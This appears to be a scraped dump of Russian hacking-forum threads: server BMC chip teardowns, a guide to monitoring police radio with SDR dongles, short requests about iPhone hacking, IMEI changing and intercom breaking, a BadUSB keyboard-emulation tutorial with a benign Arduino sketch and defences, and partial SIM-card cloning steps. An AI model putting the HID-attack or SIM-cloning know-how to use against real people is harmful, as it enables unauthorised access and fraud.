интересно, что прошивка Intel ME записана на собственный отдельный 25-ый SPI чип - Winbond 25Q64FVSIQ
обычно (в серверах других брендов) прошивка ME записана на ту же флешку, что и BIOS/UEFI.

hp_chips4.jpg

в качестве CPLD используется целый FPGA от Lattice, модель LCMXO2-4000HC

hp_chips5.jpg

сервера бренда Dell:

в предыдущих поколениях (< gen14) использовался процессор Renesas SH7758 с архитектурой SuperH / SH4
в современных серверах (gen 14-15) используется процессор Nuvoton NPCM750, имеющий два ядра ARM Cortex-A9. что используется в самых свежих gen 16 - не знаю, ещё не сталкивался.
в качестве ОС на обоих видах процессора работает дистрибутив Linux, собранный на основе Yocto Project "Poky" <https://www.yoctoproject.org/software- item/poky/>

dell_chips1.jpg

dell_chips2.jpg

также в предыдущих поколениях (< gen13) использовалась дополнительная плата с сетевым портом RJ45 для удалённого подключения к BMC, в современных серверах (gen13+) сетевой порт BMC встроен в материнку.

Dell gen12:

dell_chips3.jpg

dell_chips4.jpg

(сетевуху Dell gen14 смотри выше на фотке "IP-KVM здорового человека")

далее только gen14:

BMC доступно целых 512 MB (4 Gbit) оперативы Hynix H5AN4G6NAFR. логи BMC пишутся на 25-ый чип SPI Winbond 25Q32JVSIM или MXIC 25L3233F

dell_chips5.jpg

dell_chips6.jpg

прошивка BMC установлена на eMMC Hynix H26M41204HPR 8 GB (64 Gbit) или Micron MTFC8GAKAJCN-1M "JY995" 8 GB (64 Gbit)

dell_chips7.jpg

dell_chips8.jpg

BIOS/UEFI хранится на шестнадцатиногом 25-ом SPI чипе Winbond 25Q256JVFQ или MXIC MX25L25673GMI-10G

dell_chips9.jpg

dell_chips10.jpg

и опять в качестве CPLD используется FPGA - Lattice LCMXO3LF-4300C

dell_chips11.jpg

Huawei:

используются чипы BMC собственной разработки - HiSilicon Hi1710, содержащие 1 ядро ARM Cortex-A9 800 MHz.
BMC доступно 256 MB (2 Gbit) оперативной памяти Micron MT41K128M16JT-125, и 128 MB (1 Gbit) хранилища Spansion S29GL01GS10TFI01.
в качестве ОС на BMC запущен дистрибутив Linux, из интересного - web GUI написан на PHP :)

huawei_chips1.jpg

128 мегабайт под хранилище явно маловато, куда оно ещё может писать логи и другие данные - неизвестно: с верхней стороны материнки ничего похожего на хранилище eMMC или NAND/NOR Flash я не увидел, с обратной стороны материнки виднеется какой-то чип прямо под BMC, но он не похож на флеш чип своим форм- фактором. разбирать сервер я не стал, потому что там гемор - надо снимать сокеты процессоров, чтобы открутить металлическую платформу, к которой крепится материнская плата.
в другом сервере я видел eMMC чип на 8 GB (Hynix H26M41204HPR) расположенный на месте того Spansion-а ~~прямиком из 2007-го~~ , и там было 512 MB оперативы (Micron MT41K256M16TW-107), хотя BMC такой же Hi1710.

BIOS/UEFI скорее всего (я не проверял) записан в этом 25-ом 16-тиногом SPI чипе рядом с чипсетом - "25Q128A"

huawei_chips2.jpg

и тут тоже встречаем старого знакомого Lattice, однако на этот раз FPGA слабоватый, всего 1280 вентилей. китайцы экономят на всём :)
модель FPGA - LCMXO2-1200UHC

huawei_chips3.jpg

Fujitsu:

тогда как в нормальных серверах используются SPI чипы в форм-факторе SOP/SOIC 8/16-ног, в японско-немецком творении ставят SPI чипы в форм-факторе BGA (с контактами снизу чипа), в моём конкретном экземпляре это MXIC MX25L51245GZ21-10G

процессор BMC: Avago/Emulex SE-SM4310-P02 - удивительный процессор с тремя ядрами разных архитектур, состоит из:
- ядро 1: ARM9 400MHz на котором запущена сама операционная система BMC (в старых серверах - ThreadX, в современных - Linux)
- ядро 2: 32-bit RISC 200MHz "для задач реального времени"
- ядро 3: Atmel 8051 200MHz "Programmable processor for BMC self-test or general purpose"
так как "старого знакомого" FPGA от Lattice на материнке нет, то скорее всего задачи CPLD выполняются вторым или третьим ядром процессора BMC

оператива: 256 MB (2 Gbit) Hynix H5TQ2G63FFR-RDC

fujitsu_chips1.jpg

где хранится BIOS/UEFI - не знаю. рядом с чипсетом есть парочка восьминогих чипов, но их маркировка не похожа на SPI.

fujitsu_chips2.jpg

скорее всего биос хранится на вышеуказанном BGAшном чипе MXIC.

Supermicro, Lenovo, Asus, Gigabyte, ASRock, Tyan, Facebook (не шучу), ...:

все эти сервера ~~собираются в одном подвале~~ используют одинаковые чипы BMC от фирмы ASPEED, такие как ASPEED AST2400, AST2500, AST2600.

AST2400: ARMv5 ARM926EJ-S 400 MHz
AST2500: ARMv6 ARM1176JZS 800 MHZ
AST2600: ARMv7 Dual-Core Cortex-A7 1.2 GHz

в моём конкретном экземпляре это AST2400, имеющий 128 MB (1 Gbit) оперативы Winbond W631GG6KB-15
на фоне виднеется совсем слабый FPGA Lattice LCMXO2-640HC

supermicro_chips1.jpg

в качестве хранилища используется шестнадцатиногий 25-ый SPI чип MXIC MX25L25635FMI-10G объёмом 32 MB (256 Mbit), BIOS/UEFI записан на восьминогий 25-ый чип Winbond 25Q128FVSG

supermicro_chips2.jpg

Способ слушать переговоры спецслужб
ID: 676535aeb4103b69df373606
Thread ID: 27592
Created: 2019-02-01T07:53:58+0000
Last Post: 2022-12-02T10:03:02+0000
Author: Hide
Prefix: Статья
Replies: 18 Views: 6K


Речь пойдет о мониторинге радиочастотного эфира. Иными словами – о прослушивании переговоров полиции/скорой помощи/МЧС/охранников и т.д. , а также «прослушке» и записи сигналов от систем сигнализаций и тому подобных вещей. Тема не для школьников, а для тех, кто умеет читать между строк.

Если вы представили себе спец автомобиль наподобие этого, напичканный всевозможными селективными приемниками, «панорамами», блоками РЭБ и т.д. то вынужден разочаровать – ничего сложного и дорогого не потребуется, достаточно приобрести либо самый простой USB DVB-T донгл за 10 баксов, либо более серьезный аппарат, аж за 25..35 баксов (именно его я и рекомендую использовать). Естественно, потребуется ноутбук (можно и стационарник, но это менее удобно). Если же задача будет не только послушать, но и выйти в эфир, то придется заплатить еще 40 баксов сверху (примерно, ссылки дам позже).

Итак, что же мы будем изучать? Так называемые SDR приемники. Если перевести на простой язык – приемник с программным управлением. Обычно подобные вещи стоили невменяемых денег, но благодаря братьям нашим узкоглазым, появилась возможность приобрести простейший приемник за 10 долларов. Пример того, что подойдет (не реклама):

Пользовался я таким несколько лет, вполне вменяемый вариант за смешные деньги. Но он практически не способен работать с частотами ниже 45..30 МГц. Если интересующий вас диапазон выше – берите китайца и не заморачивайтесь. Если же есть желание слышать КВ диапазон, то придется взять RTL-SDR.

https://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/ (не реклама)

Я его покупал прямо у себя на радиорынке за 30 долларов, с доставкой из Китая он тогда обходился примерно в 27..28 долларов. Разница несущественная, зато ждать не надо было.

Применяемое ПО. Я люблю sdrsharp (http://www.rtl-sdr.ru/category/sdrsharp) (не реклама)

Разобраться с установкой и настройкой элементарно. С использованием тоже.

А теперь у некоторых мог возникнуть вопрос – «А на**я это все надо??? Кого слушать и где???». Отвечаю – это элементарно узнать благодаря радиолюбителям, переходим на сайт Радиосканнер.ру, выбираем «Таблица частот», а потом внизу слева «Частоты по городам» - http://www.radioscanner.ru/base/index.php?action=stats2 (не реклама).

Указанный мной приемник ловит все от 500 кГц до 2,4 ГГц. Проще каждому лично посмотреть свой город и понять, надо ему это или нет. На крайняк - будете его использовать для приема радио ))

Теперь отвечаю на вопрос - «Ну послушали, и что?». У меня в городе менты работают в открытом эфире, как регулировщики, так и районные отделения. Есть частота для объявления планов-перехватов где открытым текстом дают ориентировки на людей (приметы), машины (цвет/марка/номер) и т.д. Полезно, не так ли? ))) Дай Бог конечно, чтобы не пригодилось…

Охрана магазинов – открытым текстом беседуют о подозрительных личностях и т.п., приглашают друг-друга на перекуры ;-)

МЧС – просто иногда любопытно послушать их сводки.

И так далее.

Относительно законности подобных действий – АБСОЛЮТНО ЗАКОННО в Украине и в России (как в других странах не подскажу, изучайте сами). Мы ничего не передаем в эфир, а только слушаем радиоприемник ;-).

P.S. Приемник можно даже не покупать, а воспользоваться так называемым websdr

Взлом ios, Apple
ID: 676535aeb4103b69df37364e
Thread ID: 40387
Created: 2020-08-03T15:02:57+0000
Last Post: 2021-07-17T15:12:53+0000
Author: PROVODA
Prefix: GSM
Replies: 27 Views: 6K

Предлагаю делиться информацией о все возможных взломах айфон. Кроме jailbreak.

3G модем со сменным IMEI
ID: 676535aeb4103b69df37366e
Thread ID: 28772
Created: 2019-04-13T11:45:44+0000
Last Post: 2020-11-02T13:52:50+0000
Author: bembi
Prefix: GSM
Replies: 17 Views: 6K

Собственно вопрос в том какие модели модемов (USB) поддаются пере прошивке?

Как подменить видеопоток на мобиле?
ID: 676535aeb4103b69df3736a7
Thread ID: 28048
Created: 2019-02-26T22:14:13+0000
Last Post: 2019-04-30T10:42:05+0000
Author: Fixxx
Replies: 9 Views: 6K

Приветствую! Может знает кто: можно ли сделать так, чтобы при обращении к камере телефона открывалась галерея и вместо фотографии можно было выбрать картинку? Делал подобное на эмуляторе андроида, но о том, как такое провернуть с телефона, информации так и не нашел.

Злой HID. Делаем и программируем хакерский девайс для HID-атак
ID: 676535aeb4103b69df3736aa
Thread ID: 26412
Created: 2018-10-30T13:38:09+0000
Last Post: 2019-03-10T18:23:24+0000
Author: lukas
Replies: 3 Views: 6K

Злой HID. Делаем и программируем хакерский девайс для HID-атак

Универсальность шины USB создает большую поверхность атаки. Исследователи из Университета Бен-Гуриона выделяют почти три десятка хакерских техник использования USB. В данной статье мы рассмотрим один из самых эффективных вариантов — автоматизированную отправку команд при помощи самодельного устройства класса HID.

HID-атаки
HID-атака — хитрая разновидность BadUSB. Ее суть сводится к тому, что в USB- порт вставляется простейший хакерский девайс, эмулирующий устройство ввода. Практически любая современная ОС поддерживает plug-n-play и содержит универсальный драйвер устройства каждого класса. Хакерский девайс автоматически определяется ОС как нужный нам Human Interface Device — HID. Далее ОС безо всяких проверок принимает его команды.

Есть много готовых девайсов для атак через USB-порт. Например, Rubber Ducky и ее разновидности. На мой взгляд, интереснее разобраться, как сделать такую штуку самому. Это довольно просто (когда знаешь как) и дешево. Нам даже флешка на этот раз не понадобится.

Преимуществ HID-атаки перед атакой вручную сразу несколько: это скорость, незаметность и автоматизация. Все необходимые действия выполнятся быстрее, чем ты сможешь набрать то же на клавиатуре, и без опечаток (если их не было изначально). Подключить к USB-порту миниатюрное устройство можно за пару секунд. Это не такое палево, как садиться за чужую клавиатуру и поминутно оглядываться через плечо. Из-за малых габаритов самодельный девайс легко спрятать и пронести через охрану даже на режимный объект. В крайнем случае можно просто выдать его за флешку и «случайно» уничтожить легким нажатием ботинка, после чего изготовить хоть мешок других таких же.

Выбираем аппаратную платформу
Сотворить такую хакерскую железку можно и на одноплатниках (вроде Raspberry Pi), но это все равно что перевозить ноутбук на фуре. Есть «братья меньшие» не такие известные, но не менее «злые» и опасные в руках из плеч. По сути, для выполнения HID-атаки нам необходим микроконтроллер, USB-порт и минимальная электронная обвязка, чтобы это все заработало.

Arduino Micro Pro
На мой взгляд, это один из идеальных кандидатов на роль хакерского девайса.
Arduino Micro Pro
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F1.jpg&hash=0ba301bba72883da64d521f56869b7b7)

Плата размером 33×16 мм работает на микроконтроллере ATmega32u4 и имеет на борту 28 Кбайт свободной памяти (вообще памяти 32 Кбайт, но 4 Кбайт уже заняты загрузчиком). С ней очень легко работать, так как проект Arduino хорошо поддерживается и для него написано много документации. Также для него есть готовая среда разработки Arduino IDE с дистрибутивами для Windows, Linux и macOS. Купить плату можно от 350 рублей.

Teensy Low Cost
Teensy LC
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F2.jpg&hash=bc9e0c83c5cb5633c3825633a9eeeab3)

Хорошая альтернатива — семейство плат Teensy, совместимых с Arduino. С ними также можно использовать Arduino IDE. Например, плата Teensy LC размером 17×35 мм оснащена процессорным ядром ARM Cortex-M0+ и 64 Кбайт памяти. Купить ее в России может быть проблематично (основной упор делается на продажи Teensy 3.2–3.6), но заказать из-за рубежа вполне возможно. Цены на Teensy LC начинаются от 10 долларов.

Digispark
Многие думают, что Digispark — это самая подходящая плата для HID-атак. Да, она выигрывает по некоторым параметрам у остальных: крошечный размер 18×22 мм, практически нет лишних функций (и точек отказа), USB-разъем типа А и смешная цена порядка 100–150 рублей.

Однако в использовании она не так проста. Даже подключать ее стоит в порт USB 2.0 (или через USB-хаб v.2.0) либо лезть в BIOS, отключать xHCI и выставлять режим USB 3.0 порта как USB 2.0 compatible. Обратная совместимость у версий USB 3.0 и 2.0 заявлена, но порой нужен бубен, чтобы она реально заработала, особенно на Windows 10.
Digispark
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F3.jpg&hash=9a51a21c236dffc1abb069f6cce688c9)

Работает данная плата под управлением микроконтроллера Attiny85. С памятью у нее негусто — всего 8 Кбайт, из которых два уже заняты загрузчиком. Совсем не вдохновляет ограничение ROM в 512 байт под исполняемый код, но оптимизация тебе в помощь.

Процессор (если его можно так назвать) опять же совместим с Arduino IDE, только желательно использовать версию 1.6.5r2, а 1.6.6 и 1.6.7 не рекомендуется вовсе. Digispark Wiki любезно предоставляет мануал по «вживлению» этой платы в Arduino IDE, или можно скачать уже специально заточенные версии ПО.

Альтернативы
Выше я привел для примера три платы, которые, на мой взгляд, идеально подходят для HID-атак, но под конкретную задачу может быть интереснее взять какую-то другую. Вот еще примеры плат и некоторые соображения, почему они были отвергнуты в качестве универсального варианта.

NodeMCU и SparkFun с микроконтроллером ESP8266. Этот чип разрабатывался с направлением на поддержку Wi-Fi, поэтому платы с беспроводным модулем получились довольно большими. NodeMCU имеет размер 60×30 мм при не самой выгодной цене от 400 рублей. Однако если планируется многоэтапная атака, то беспроводное подключение будет совсем не лишним.

SparkFun в целом неплох, но смущает ценой (от 17 долларов за копеечный процессор). Однако его контроллер совместим с Arduino IDE, что делает разработку удобной.

Функционально Particle Photon похож на платы с ESP8266, но его цена гораздо выше. На борту у него довольно дорогой и ненужный для HID-атак ARM Cortex M3 STM32F205RGY6 с Wi-Fi-модулем Broadcom BCM43362, что поднимает цену до 2000 рублей и выше. Он будет оправдан в том случае, если помимо эмуляции клавиатуры планируется выполнять какие-то более сложные задачи, требующие универсального процессора архитектуры ARM.

Обрати внимание, что из всех рассмотренных плат лишь Digispark оснащен USB- портом типа А. Остальные имеют разъемы micro-USB и mini-USB, поэтому советую сразу обзавестись OTG-адаптером на интерфейс платы или кабелем для подключения нашего хакерского девайса к компу.

Click to expand...

Делаем хакерский девайс за пять долларов
Приступим к практической части на примере платы Arduino micro Pro и переходника mini-USB ↔ USB Type A. В качестве основной ОС используется Kali Linux (4.14.0-kali3-amd64), но на других сборках Linux и в Windows проблем возникнуть не должно. Arduino IDE v. 1.8.6 скачана с официального сайта. В качестве жертвы выбран тот же компьютер.

Готовим софт
Скачиваем дистрибутив, распаковываем. В каталоге лежит файл с символичным названием install.sh. Его и запустим на исполнение:
./install.sh
Минуту-две смотрим на надпись Adding desktop shortcut, menu item and file associations for Arduino IDE… и вуаля! На рабочем столе появляется ярлык для запуска.

Теперь подключаем нашу плату. Весь нужный софт установился вместе с IDE, поэтому нет необходимости что-то доустанавливать, монтировать и запускать.

Командой lsusb можно проверить, что устройство определено верно и все идет по плану (Arduino Micro Pro определяется как Leonardo).
lsusb
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F4.png&hash=7d6e723eaf9c50c9d6ba35423b63bdfa)

Следующая команда покажет порт, на котором повис наш Leonardo:
ls /dev/ | grep tty
У меня это ttyACM0.
ls /dev/ | grep tty
[![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F5.png%2326847265&hash=a59acfff59383ff683f24912e0dededf)](https://xakep.ru/wp- content/uploads/2018/09/186977/5.png#26847265)

Теперь можно открыть саму IDE. Сразу после запуска идем в меню «Инструменты» и в разделе «Платы» выбираем Arduino Leonardo. Там же в «Инструментах» выбираем нужный порт (он там, скорее всего, будет один) из списка tty.

После этих действий связь платы с компьютером установлена, программное обеспечение настроено, можно переходить к написанию скетча (так называют код для Arduino-совместимых макетных плат).

После запуска Arduino IDE картинка будет следующая.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F6.png&hash=4ad3bad4065e6f7296130035576752fb)
Интерфейс Arduino IDE

Есть еще один вариант запустить подобие Arduino IDE. На сайте представлен Arduino Web Editor. На мой взгляд, он менее удобен, но тут уже кому как по вкусу. Для его использования будет необходимо зарегистрироваться на сайте либо авторизоваться через Google- аккаунт. Также для связи браузера с устройством потребуется установить плагин (он есть для Chrome и Firefox). Его удобство в том, что все написанные скетчи будут онлайн (с любой точки земли можно получить доступ к ним), но я в таких тонких деталях предпочитаю локальную работу.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F9.png&hash=d1c603f8794dccf4c92c9f16c5e94d1c)
Интерфейс Arduino Web Editor

В остальном редакторы похожи.

Изначально присутствует заготовка из void setup() и void loop(). Напомню, что код, написанный в функции setup(), будет исполняться сразу при подаче питания на плату, причем он исполнится один раз. Функция loop() отреагирует на питание таким же образом, вот только повторяться действие будет постоянно (цикл с бесконечным счетчиком и неизменным кодом на каждый проход).

Пишем скетч
Нам нужно, чтобы микроплата Arduino выдавала себя за клавиатуру. Для этого в самом начале следует добавить библиотеку Keyboard.h.

Далее основные элементы, которыми мы будем пользоваться:

Ключи нажимаемых клавиш можно найти тут. Для простоты мы говорим «нажимаем/отпускаем клавишу», подразумевая, что контроллер отправляет ее скан-код, имитируя нажатие командами Keyboard.press/Keyboard.release.

Каждый, кто немного касался программирования, знает о том, как работать с повторяющимися вызовами. Если мы начинаем копипастить участки кода, то пора вызывать парней в белых халатах. Поэтому повторения будем выполнять с помощью отдельной функции.

Задается она вот такой конструкцией:
void function_name(){ ... }
В скетче указывается как function_name(). Для начала другие элементы управления платой нам не понадобятся.

Теперь можно попробовать написать свой первый скетч. Ведь в теории между теорией и практикой разницы нет, а на практике — есть.

В качестве PoC используем такую задачу: после подключения нашего девайса в USB-порт на компе с Linux должен автоматически открыться терминал, а затем в домашнем каталоге создаться файл с содержимым Hello World, который открывается в текстовом редакторе (у меня будет Leafpad).

Скетч выглядит следующим образом.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F7.png&hash=2c5296de5c50d93090b63ad63e8003fa)
Код задания

В самом начале указана знакомая всем сишникам конструкция #include c указанием на использование библиотеки Keyboard.h. Как уже говорилось выше, она нужна для того, чтобы наша ардуина смогла выдать себя за клавиатуру.

В коде повторяется нажатие клавиши Enter три раза, поэтому удобнее создать отдельную функцию pressEnter(), что я и сделал. Обрати внимание: она находится за пределами setup(), а между нажатиями клавиши Enter вставлена задержка (ниже поясню, зачем она нужна).
Keyboard.press(KEY_RETURN); delay(50); Keyboard.release(KEY_RETURN);
Далее идет основная функция void setup().

Code:Copy to clipboard

Keyboard.begin(); // Начало эмуляции клавиатуры
delay(5000); // Задержка 5000 мс
Keyboard.press(KEY_LEFT_GUI); // Нажимаем клавишу «Пуск»
delay(5000);
Keyboard.release(KEY_LEFT_GUI); // Отпускаем ее
delay(500);
Keyboard.print("terminal"); // Пишем в поиске
delay(500);
pressEnter();
delay(1000);
Keyboard.print("echo Hello World >> test"); // На этом моменте терминал уже открыт
delay(50);
pressEnter();
delay(1000);
Keyboard.print("leafpad test"); // Открываем файл test в Leafpad
delay(50);
pressEnter();

Сложно? Пока нет, но станет сложнее, когда вместо Hello World ты запишешь в файл код зловреда и запустишь его на исполнение.

Поясню выставление пауз: тут нужен трепетный подход, потому как ОС может не успеть отреагировать на команды. Допустим, ты не выставил паузу и подключил свою ардуину. Она начинает выполнять записанные действия еще до того, как операционная система поймет, что это за устройство, и подключит его как клавиатуру. То есть половина команд просто уйдет в никуда, и нужного результата мы не получим. Такая же история между нажатием клавиш и набором текста. Нашей жертве (компу) необходимо давать время, иначе она не поймет, чего от нее вообще хотят.

Есть еще один важный нюанс с раскладкой клавиатуры. Мы написали код, ориентированный на английскую раскладку. Если в момент подключения нашего устройства к атакуемому компьютеру раскладка будет не та, под которую писался скетч, то нужного нам действия не получится. Горячие и функциональные клавиши, конечно, отреагируют как надо, а вот с набором текста возникнут проблемы. Вместо «terminal» получится «еукьштфд», со всеми вытекающими последствиями.

Примеры атак
При проведении реальных HID-атак можно начать с быстрого создания локального пользователя. Демонстрирую это на примере Windows 10 сборки 1607.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F8.png&hash=7ffbfc233c2cb6c19e8158419602b8d4)
Создаем пользователя

Согласись — удобно. Незаметно вставил микроардуину в USB-порт чужого компа, и через несколько секунд на нем уже появилась локальная учетка с заданными тобой параметрами логин/пароль.

Глянем чуть глубже и немного усложним. Подготовим FTP-сервер и загрузим на него боевую нагрузку. И вот так будет выглядеть загрузка файла и его запуск. Благодаря самой загрузке это займет чуть больше времени, но, к примеру, админская сессия того стоит.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F10.png&hash=c99f80a51c58bc3b12b264ab29529cf7)
Загружаем файл с FTP

Поясню момент с файлом: да, можно выполнить все команды вводом, но суть опять в тайм-ауте исполнения. Мы не знаем, как долго может сервер реагировать на команды (на это влияет скорость интернет-соединения, скорость работы самого компьютера и еще куча разных факторов). Также стоит учесть то, что ты можешь использовать в своих тестах SSD (и все вроде бы работает), но при подключении к компьютеру с HDD… думаю, ты уловил смысл.

Наверняка ты обращал внимание, что USB-клавиатура определяется BIOS еще до загрузки ОС. В UEFI вообще интегрирована расширенная поддержка USB-портов разных версий с готовыми профилями для HID-девайсов и USB-накопителей. Большой объем флеш-памяти современных материнок и унифицированная структура UEFI позволяют загрузить низкоуровневый бэкдор, просто вставив копеечный хакерский девайс из ардуины.

Как защититься от HID-атак
Как мне кажется, самый надежный способ защиты для любой ОС — блокировать учетную запись (паролем, RFID-чипом или биометрическим сканером), когда уходишь из-за компа. Фишка атаки в беспалевности и скорости, поэтому вряд ли пентестер будет вставлять такую штуку в заблокированный компьютер (хотя в некоторых довольно крупных организациях девочки из бухгалтерии практикуют не блокировку компьютера, а выключение монитора. Как ты понимаешь, это не подойдет). Также можно совсем отключить незанятые USB-порты (в BIOS или физически), но что помешает атакующему вытащить легитимную клаву и подключить вместо нее эмулятор на ардуине? Только настройки политики безопасности и сторонний софт для контроля подключений по USB.

Что касается ОС Windows, то тут есть несколько решений. Во-первых, комплексные антивирусы. Они уже научились определять класс BadUSB и блокировать такие устройства. К примеру, в серверной части «Антивируса Касперского» при настройке политик безопасности есть функция «Защита от атак BadUSB».

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F11.png&hash=e0525553fdf528c7b6022b0b2ad08d30)
Настройка политики безопасности с сервера управления Kaspersky

Во-вторых, есть средства борьбы с подобного рода атаками при помощи групповых политик. Необходимо открыть gpedit.msc, пройти цепочку «Конфигурация компьютера → Административные шаблоны → Система → Ограничения на установку устройств». В этом разделе есть несколько правил. Нам нужно «Запретить установку устройств, не описанных другими параметрами политики». Суть правила заключается в том, что при его включении драйвер нового устройства не будет автоматически установлен, если только этот девайс прямо не указан в политиках. Есть, конечно, небольшое неудобство в данном методе, но если все грамотно настроить, то проблем не будет.

Настройка правил групповой политики Windows 10
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F09%2F186977%2F12.png&hash=1ed8f2cff79455332c47b9e4509f48a2)

В своих исследованиях защиты от HID-атак я использовал в качестве жертвы комп с Windows 10 (1607). В первом случае антивирь Касперского сработал на ура. Во втором ОС сама заблокировала мое устройство. Правда, когда я попытался подключить вторую клавиатуру к компьютеру, тоже получил отказ.

Для Linux можно воспользоваться udev и его правилами. Необходимо создать файл /etc/udev/rules.d/10-usbblock.rules и вписать в него следующее содержимое (классы можно блокировать любые):
`#ACTION=="add", ATTR{bInterfaceClass}=="03" RUN+="/bin/sh -c 'echo 0

/sys$DEVPATH/../authorized'" Теперь можно заблокировать добавление новых HID-устройств командой sed -i 's/#//' /etc/udev/rules.d/10-usbblock.rules; udevadm control --reload- rules А вот команда для разблокировки: sed -i 's/^/#/' /etc/udev/rules.d/10-usbblock.rules; udevadm control --reload-rules`

Заключение
Эмуляция клавиатуры — опасный инструмент в умелых руках. Это было наглядно продемонстрировано еще в 2014 году на Black Hat. Доклад [Building Trojan Hardware at Home](http://www.blackhat.com/docs/asia-14/materials/Dunning/Asia-14-Dunning- Building-Trojan-Hardware-At-Home.pdf)вызвал всплеск интереса к данной теме.

Изначально в серьезность угрозы верилось с трудом, а в Сети циркулировали шуточки на тему USBola, сравнивающие эту атаку с известным вирусом. После публикации статьи Computer Ebola шутки закончились. Вдобавок Карстен Нол подлил масла в огонь, создав список уязвимых устройств, которые удобно использовать для проведения атак вида BadUSB.

За последние годы ситуация изменилась. С одной стороны, стало проще создавать копеечные эмуляторы клавиатуры, находить примеры готовых скетчей и пейлоадов. С другой — некоторые комплексные системы защиты научились распознавать хакерские HID-девайсы, а в современных ОС появились расширенные настройки политик безопасности, препятствующие их несанкционированному подключению.

автор Роман Вегелин, копипаст с хакер.ру

Дэтэктор жучков
ID: 676535aeb4103b69df3736b8
Thread ID: 12226
Created: 2006-10-01T07:20:55+0000
Last Post: 2013-11-06T11:23:13+0000
Author: FallenAngel
Replies: 18 Views: 6K

Народ! Помогите плиЗ кто чем могЁт.
Офис набит БаГсами а найти не можем.
Может кто подкинет схемку детектора всей эТой ереси(жучков ВсмЫсле) рабочИю ато мы прям запарились ужо.

Система контроля доступом
ID: 676535aeb4103b69df3736c6
Thread ID: 16749
Created: 2009-01-25T09:32:58+0000
Last Post: 2009-03-08T15:07:45+0000
Author: hedgehog
Replies: 17 Views: 6K

Интересуют системы контроля доступом, например http://control-dostupa.ru/ или http://www.exsnet.ru/

Интересуют схемы и техническая документация. Возникла необходимость написать что-то подобное, более простое, но сохранив основные возможности.
Вдруг у кого-то что-то есть по теме?

З.Ы. Особенно интересно каким образом можно все это сделать самому.. Потратив минимум баблоса.

Как играть в Quake без мыши и клавиатуры
ID: 676535aeb4103b69df3736c8
Thread ID: 10375
Created: 2006-08-08T02:00:06+0000
Last Post: 2008-12-02T15:56:04+0000
Author: мозголом
Replies: 14 Views: 6K

2недели назад нашел такую умную ерунду не знаю понравится или нет судить вам сылка вот http://slang.od.ua/dcp/
работает на 100% B) :punk: B) :punk: :thumbsup:

хочу спаять усилок
ID: 676535aeb4103b69df3736cd
Thread ID: 175
Created: 2005-01-19T01:35:13+0000
Last Post: 2006-12-10T03:55:02+0000
Author: b4x
Replies: 7 Views: 6K

кто-нибудь когда нибудь паял усилитель? я не про сложную и длинную схему, а на интегральных микросхемах, типа как в магнитолах. я копался по инету, и остановил свой выбор на микросхеме TDA7269, но некоторые грят, мол Thompson - отстой. Мож кто подскажет, на чем проще будет сделать. только на выходе мне надо не меньше чем 35 Ватт на канал.

Создание радио.
ID: 676535aeb4103b69df3736d5
Thread ID: 11136
Created: 2006-08-29T21:08:03+0000
Last Post: 2006-10-25T15:21:20+0000
Author: Димыч
Replies: 16 Views: 6K

Всем привет!Скажите пожалуйста как открыть свою станцию.Что для этого нужно?И какие документы?И какя аппаратура.

приемник таксишных частот
ID: 676535aeb4103b69df3736e9
Thread ID: 5027
Created: 2005-10-03T15:03:22+0000
Last Post: 2006-06-22T18:25:20+0000
Author: kidnder surpsise
Replies: 10 Views: 6K

Подскажите кто знает, как сделать такой приёмник?

А вообще бывают заводские приемники принимающие такие частоты?

ДУ пульт для компа
ID: 676535aeb4103b69df3736ec
Thread ID: 5864
Created: 2005-12-08T16:38:56+0000
Last Post: 2006-06-05T15:56:00+0000
Author: Spawn™
Replies: 12 Views: 6K

Вот схема ИК порта для компа.

Вот программа которая работает с этим устройством
Вот ссылка с конфигурациями для ДУ, можно обучить прогу работать с любым пультом.

Пока ещё сам не сделал... когда сделаю отпишусь. в рабочем варианте видел.... прикольно

SubWoofer собственноручно
ID: 676535aeb4103b69df3736f3
Thread ID: 5545
Created: 2005-11-12T19:28:05+0000
Last Post: 2006-03-03T23:02:06+0000
Author: kidnder surpsise
Replies: 10 Views: 6K

Ясень пень вначале надо голову надыбать, и которая думает и которая низкочастотная! А Дальше чего?

Взлом Домофона Цифрал
ID: 676535aeb4103b69df3736f9
Thread ID: 5011
Created: 2005-10-01T14:59:43+0000
Last Post: 2006-01-18T21:05:40+0000
Author: P.S.
Replies: 1 Views: 6K

:help: :nukesign: Как взломать Домофон цифрал?

Несколько симок в одной
ID: 676535aeb4103b69df373701
Thread ID: 5306
Created: 2005-10-25T06:21:11+0000
Last Post: 2005-11-14T14:07:16+0000
Author: poisons
Replies: 10 Views: 6K

Хочется всегда звонить "в нутри сети"? Так в чем проблема!
Первый способ - для людей с прямыми руками:
Идем на любой радиорынок, там покупаем пререходник на две симки, обычно к нему прилагается инструкция как да чего. В кратце сим карточка - просто чип в который зашит твой Ki и IMSI(об них далее) и размеры рабочей части - площадь под контактами - остальная пластмасса нам не нужна, она отрезается(в комплекте есть лейкала.можно скальпелем), потом стачивается верхняя часть над контактами, вставляется две изготовленные симки в переходник и все готово. Неудобность этого способа - для переключения симок приходится выключать телефон и при втором включении он заводится на другой симе, что довольно таки долго. также можно запоганить симку.

Второй способ - для людей с прямыми руками и кривыми извилинами:
